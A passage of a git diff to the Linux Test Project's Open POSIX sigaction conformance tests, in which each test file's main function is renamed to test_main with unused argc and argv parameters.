a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/22-4.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/22-4.c index ec283707..f2ab0ac6 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/22-4.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/22-4.c @@ -58,7 +58,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) inside_handler--; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { if (fork() == 0) { /* child */ diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/22-5.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/22-5.c index 5942430d..73277b34 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/22-5.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/22-5.c @@ -58,7 +58,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) inside_handler--; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { if (fork() == 0) { /* child */ diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/22-6.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/22-6.c index a5118f4d..bea2575e 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/22-6.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/22-6.c @@ -58,7 +58,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) inside_handler--; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { if (fork() == 0) { /* child */ diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/22-7.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/22-7.c index bc27c272..b2b70501 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/22-7.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/22-7.c @@ -58,7 +58,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) inside_handler--; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { if (fork() == 0) { /* child */ diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/22-8.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/22-8.c index 4fb388bd..ceac149f 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/22-8.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/22-8.c @@ -58,7 +58,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) inside_handler--; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { if (fork() == 0) { /* child */ diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/22-9.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/22-9.c index 2edaa6e1..28a080b0 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/22-9.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/22-9.c @@ -58,7 +58,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) inside_handler--; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { if (fork() == 0) { /* child */ diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/23-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/23-1.c index d1a11ffe..f7b05555 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/23-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/23-1.c @@ -117,7 +117,7 @@ static void handler(int sig PTS_ATTRIBUTE_UNUSED) } /* main function */ -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int ret; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/23-10.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/23-10.c index ae3c4373..3678ed41 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/23-10.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/23-10.c @@ -117,7 +117,7 @@ static void handler(int sig PTS_ATTRIBUTE_UNUSED) } /* main function */ -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int ret; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/23-11.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/23-11.c index eb4349c0..45106b08 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/23-11.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/23-11.c @@ -117,7 +117,7 @@ static void handler(int sig PTS_ATTRIBUTE_UNUSED) } /* main function */ -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int ret; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/23-12.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/23-12.c index ff045cc9..82d734bd 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/23-12.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/23-12.c @@ -117,7 +117,7 @@ static void handler(int sig PTS_ATTRIBUTE_UNUSED) } /* main function */ -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int ret; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/23-13.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/23-13.c index 5a8a33da..7213b27f 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/23-13.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/23-13.c @@ -117,7 +117,7 @@ static void handler(int sig PTS_ATTRIBUTE_UNUSED) } /* main function */ -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int ret; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/23-14.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/23-14.c index 23e9a1cc..97699ec8 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/23-14.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/23-14.c @@ -117,7 +117,7 @@ static void handler(int sig PTS_ATTRIBUTE_UNUSED) } /* main function */ -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int ret; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/23-15.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/23-15.c index 3eb7d768..5069dc92 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/23-15.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/23-15.c @@ -117,7 +117,7 @@ static void handler(int sig PTS_ATTRIBUTE_UNUSED) } /* main function */ -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int ret; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/23-16.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/23-16.c index 1df6d0dd..7435b0a7 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/23-16.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/23-16.c @@ -117,7 +117,7 @@ static void handler(int sig PTS_ATTRIBUTE_UNUSED) } /* main function */ -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int ret; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/23-17.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/23-17.c index 366a00a5..9f45c7e9 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/23-17.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/23-17.c @@ -117,7 +117,7 @@ static void handler(int sig PTS_ATTRIBUTE_UNUSED) } /* main function */ -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int ret; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/23-18.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/23-18.c index c10f4bd6..7db79ac7 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/23-18.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/23-18.c @@ -117,7 +117,7 @@ static void handler(int sig PTS_ATTRIBUTE_UNUSED) } /* main function */ -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int ret; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/23-19.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/23-19.c index e0bf1c50..577e2cdd 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/23-19.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/23-19.c @@ -109,7 +109,7 @@ static void handler(int sig PTS_ATTRIBUTE_UNUSED) } /* main function */ -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int ret; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/23-2.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/23-2.c index 966945fa..59724f33 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/23-2.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/23-2.c @@ -117,7 +117,7 @@ static void handler(int sig PTS_ATTRIBUTE_UNUSED) } /* main function */ -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int ret; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/23-20.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/23-20.c index ac632947..6054ab12 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/23-20.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/23-20.c @@ -117,7 +117,7 @@ static void handler(int sig PTS_ATTRIBUTE_UNUSED) } /* main function */ -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int ret; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/23-21.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/23-21.c index abc2bd39..a7dce05b 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/23-21.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/23-21.c @@ -117,7 +117,7 @@ static void handler(int sig PTS_ATTRIBUTE_UNUSED) } /* main function */ -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int ret; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/23-22.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/23-22.c index 541fd703..931cd162 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/23-22.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/23-22.c @@ -117,7 +117,7 @@ static void handler(int sig PTS_ATTRIBUTE_UNUSED) } /* main function */ -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int ret; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/23-23.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/23-23.c index 6abf0d6b..949a5672 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/23-23.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/23-23.c @@ -117,7 +117,7 @@ static void handler(int sig PTS_ATTRIBUTE_UNUSED) } /* main function */ -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int ret; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/23-24.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/23-24.c index 10edaab3..f830efb2 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/23-24.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/23-24.c @@ -117,7 +117,7 @@ static void handler(int sig PTS_ATTRIBUTE_UNUSED) } /* main function */ -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int ret; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/23-25.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/23-25.c index 303e3bde..d23e6f2f 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/23-25.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/23-25.c @@ -117,7 +117,7 @@ static void handler(int sig PTS_ATTRIBUTE_UNUSED) } /* main function */ -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int ret; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/23-26.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/23-26.c index bcae4628..e75de7f9 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/23-26.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/23-26.c @@ -117,7 +117,7 @@ static void handler(int sig PTS_ATTRIBUTE_UNUSED) } /* main function */ -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int ret; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/23-3.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/23-3.c index fbab86df..82ac4511 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/23-3.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/23-3.c @@ -117,7 +117,7 @@ static void handler(int sig PTS_ATTRIBUTE_UNUSED) } /* main function */ -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int ret; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/23-4.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/23-4.c index fbc8fc1d..0e0bf1cf 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/23-4.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/23-4.c @@ -117,7 +117,7 @@ static void handler(int sig PTS_ATTRIBUTE_UNUSED) } /* main function */ -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int ret; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/23-5.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/23-5.c index 4f4015d9..0380c23e 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/23-5.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/23-5.c @@ -117,7 +117,7 @@ static void handler(int sig PTS_ATTRIBUTE_UNUSED) } /* main function */ -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int ret; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/23-6.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/23-6.c index ead73d7a..d9a49b42 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/23-6.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/23-6.c @@ -117,7 +117,7 @@ static void handler(int sig PTS_ATTRIBUTE_UNUSED) } /* main function */ -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int ret; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/23-7.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/23-7.c index d2e1b478..6bb326b9 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/23-7.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/23-7.c @@ -117,7 +117,7 @@ static void handler(int sig PTS_ATTRIBUTE_UNUSED) } /* main function */ -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int ret; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/23-8.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/23-8.c index ba284a70..039f4084 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/23-8.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/23-8.c @@ -117,7 +117,7 @@ static void handler(int sig PTS_ATTRIBUTE_UNUSED) } /* main function */ -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int ret; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/23-9.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/23-9.c index 33994179..66de75d1 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/23-9.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/23-9.c @@ -117,7 +117,7 @@ static void handler(int sig PTS_ATTRIBUTE_UNUSED) } /* main function */ -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int ret; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/25-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/25-1.c index ce52d7e1..0a87df6b 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/25-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/25-1.c @@ -57,7 +57,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) inside_handler--; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { if (fork() == 0) { /* child */ diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/25-10.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/25-10.c index a9e05643..1cc0d2a0 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/25-10.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/25-10.c @@ -57,7 +57,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) inside_handler--; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { if (fork() == 0) { /* child */ diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/25-11.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/25-11.c index 757a2f2d..c38762e7 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/25-11.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/25-11.c @@ -57,7 +57,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) inside_handler--; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { if (fork() == 0) { /* child */ diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/25-12.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/25-12.c index 41dabf7e..211991af 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/25-12.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/25-12.c @@ -57,7 +57,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) inside_handler--; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { if (fork() == 0) { /* child */ diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/25-13.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/25-13.c index 6e69d986..3dacf3bc 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/25-13.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/25-13.c @@ -57,7 +57,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) inside_handler--; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { if (fork() == 0) { /* child */ diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/25-14.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/25-14.c index ff0b05f8..d7e756bf 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/25-14.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/25-14.c @@ -57,7 +57,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) inside_handler--; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { if (fork() == 0) { /* child */ diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/25-15.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/25-15.c index ad2e6aa4..38971e59 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/25-15.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/25-15.c @@ -57,7 +57,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) inside_handler--; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { if (fork() == 0) { /* child */ diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/25-16.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/25-16.c index 003612c9..e55deaac 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/25-16.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/25-16.c @@ -57,7 +57,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) inside_handler--; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { if (fork() == 0) { /* child */ diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/25-17.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/25-17.c index 768ba529..2efa58fa 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/25-17.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/25-17.c @@ -57,7 +57,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) inside_handler--; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { if (fork() == 0) { /* child */ diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/25-18.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/25-18.c index bf41e8da..3eddf8ae 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/25-18.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/25-18.c @@ -57,7 +57,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) inside_handler--; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { if (fork() == 0) { /* child */ diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/25-19.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/25-19.c index bf41e8da..3eddf8ae 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/25-19.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/25-19.c @@ -57,7 +57,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) inside_handler--; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { if (fork() == 0) { /* child */ diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/25-2.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/25-2.c index bf41e8da..3eddf8ae 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/25-2.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/25-2.c @@ -57,7 +57,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) inside_handler--; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { if (fork() == 0) { /* child */ diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/25-20.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/25-20.c index 98fef5f0..653dce31 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/25-20.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/25-20.c @@ -57,7 +57,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) inside_handler--; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { if (fork() == 0) { /* child */ diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/25-21.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/25-21.c index 70d5e95c..75a2724b 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/25-21.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/25-21.c @@ -57,7 +57,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) inside_handler--; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { if (fork() == 0) { /* child */ diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/25-22.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/25-22.c index 6ced35c5..1bc94398 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/25-22.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/25-22.c @@ -57,7 +57,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) inside_handler--; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { if (fork() == 0) { /* child */ diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/25-23.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/25-23.c index 201e4157..f7b0f8e8 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/25-23.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/25-23.c @@ -57,7 +57,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) inside_handler--; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { if (fork() == 0) { /* child */ diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/25-24.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/25-24.c index 0ca43c2c..e422586b 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/25-24.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/25-24.c @@ -57,7 +57,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) inside_handler--; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { if (fork() == 0) { /* child */ diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/25-25.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/25-25.c index 49990d65..01ec4eca 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/25-25.c 